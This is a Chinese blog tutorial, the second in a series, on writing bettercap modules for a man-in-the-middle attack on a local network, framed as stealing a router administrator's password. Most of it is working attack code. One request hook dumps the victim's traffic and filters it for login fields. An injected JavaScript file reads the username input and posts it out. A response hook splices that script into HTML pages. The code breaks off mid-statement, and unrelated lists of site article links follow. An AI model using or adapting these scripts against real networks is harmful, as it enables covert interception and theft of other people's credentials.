/文章作者:Kali_MG1937

CNBLOG博客:ALDYS4

QQ:3496925334
/

第一期: https://www.cnblogs.com/aldys4/p/14877783.html

在上第一期文章中我简要解析了bettercap模块的编写方法

这一期我们将编写一个注入模块来应用于实战中

实战内容:流量嗅探

明晰思路

假设一个场景:你想要进入内网的路由器管理页面

可是你并不知道密码,那么就需要嗅探管理员的流量,诱导对方登入管理页面以便自己得到密码

思路非常简单

要嗅探目标主机可能发送的关键信息,主要还是拦截目标主机发出的请求

我们在上一期已经知道onRequest函数是用来拦截request请求的

其中包含两个变量:req,res

req即为request,所以我们对这个函数进行操作

利用ReadBody函数来读取req的具体内容并打印在终端上

开始工程

function onRequest(req,res)
{
var data=req.ReadBody();
log("\033[01;32mDUMP!!!:\n"+data);
}

很简单易懂的代码,我们将模块带入bettercap进行测试



可以看到 目标主机一旦发送请求,就能立刻被拦截

接下来将脚本升级,让脚本自动嗅探密码之类的关键信息

function onRequest(req,res)
{
var data=req.ReadBody();
if(data.indexOf("user_name")!=-1)
{
log("\033[01;32mPASSWORD DUMP!!!!!!!!:\n"+data);
}
}

可以看到我只是对body的内容进行判断,脚本就能自动筛选重要信息了

嗅探关键信息的思路明晰之后就非常好办了

但如果受害者发送的请求已经经过加密那该怎么办?

那也非常简单,我们可以对服务器发送给目标主机的内容做做手脚

我在这里举一个简单的例子:

对网页内容注入一个脚本,让目标主机在点击登入按钮时获取用户名及密码input标签的内容并发送给我

我先编写一个欲注入的js脚本,命名为inject.js

<script>
function posts()
{
var http=new XMLHttpRequest();
var data=document.getElementById("username").value;
alert(data);//我这里仅仅是为了测试而调用alert函数
http.open('POST','/test');//向test页面发送请求
http.send(data);
}
</script>

很明显,我写的上面这个脚本先建立一个XMLHttpRequest对象

并将指定id的值放入data

最终函数将向一个不存在的页面发送post请求,以便bettercap嗅探到

function onRequest(req, res) {
if( req.Method == 'POST' && req.Path == "/test" )
//如果请求是post,并且请求页面是test,则执行如下代码
{
log( "\033[01;32m[LOGIN MANAGER ABUSER]\n"+req.ReadBody() );
headers = res.Headers.split("\r\n");
for (var i = 0; i < headers.length; i++) {
header_name = headers[i].replace(/:.*/, "");
res.RemoveHeader(header_name);
}
res.SetHeader("Connection", "close");
res.Status = 200;
res.ContentType = "text/html";
res.Body = "";//清除请求内容
}
} // inject the javascript in html pages
function onResponse(req, res) {
if( res.ContentType.indexOf('text/html') == 0 ){
var body = res.ReadBody();
if( body.indexOf('') != -1 ) {
body = body.replace(
'',
'<script type="text/javascript">' + "\n" +
readFile("/root/inject.js")//注入脚本 +
'</script>' +
''
); //这一部分注入脚本
body=body.replace('

最新文章

  1. Rest webservice 和SOAP webservice
  2. iOS-点击推送消息跳转处理
  3. 微软职位内部推荐-SW Engineer II for Cloud Service
  4. Hibernate延迟加载机制
  5. [强连通分量] POJ 2186 Popular Cows
  6. Unity3d之MonoBehaviour的可重写函数整理
  7. c# const与readonly 关键字的比较
  8. Xamarin For Visual Studio 3.0.54.0 完整离线破解版
  9. PHP语言开发微信公众平台(订阅号)之注册
  10. vuex创建store并用computed获取数据
  11. java一个数分解的质因数java
  12. 使用git(window)在github上存项目教程
  13. 转一篇 ShaderVariantCollection介绍的比较详细的文章 感谢作者
  14. Java如何中断正在运行的线程?
  15. Mac下基于testrpc和truffle的以太坊智能合约开发环境搭建
  16. UnicodeDecodeError: &#39;ascii&#39; codec can&#39;t decode byte 0xe7 in position 0: ordinal not in range(128)的解决
  17. CSS-项目中遇到IE兼容问题,处理随笔
  18. Spring获取bean的一种方式
  19. JavaScript 中 call,apply 和 bind
  20. [PWA] Cache Third Party Resources from a CDN in a React PWA

热门文章

  1. Ubuntu Linux 学习篇 配置DNS服务器
  2. JDBC相关配置和操作
  3. Web端直传数据至OSS
  4. 【转】浅谈自动特征构造工具Featuretools
  5. 【Linux】 Linux网络编程
  6. Linux的三剑客
  7. 【近取 key】技术规格说明书
  8. ACM基础板子
  9. CRM数据分析的重要作用
  10. ES6学习-1 啥是ES6啊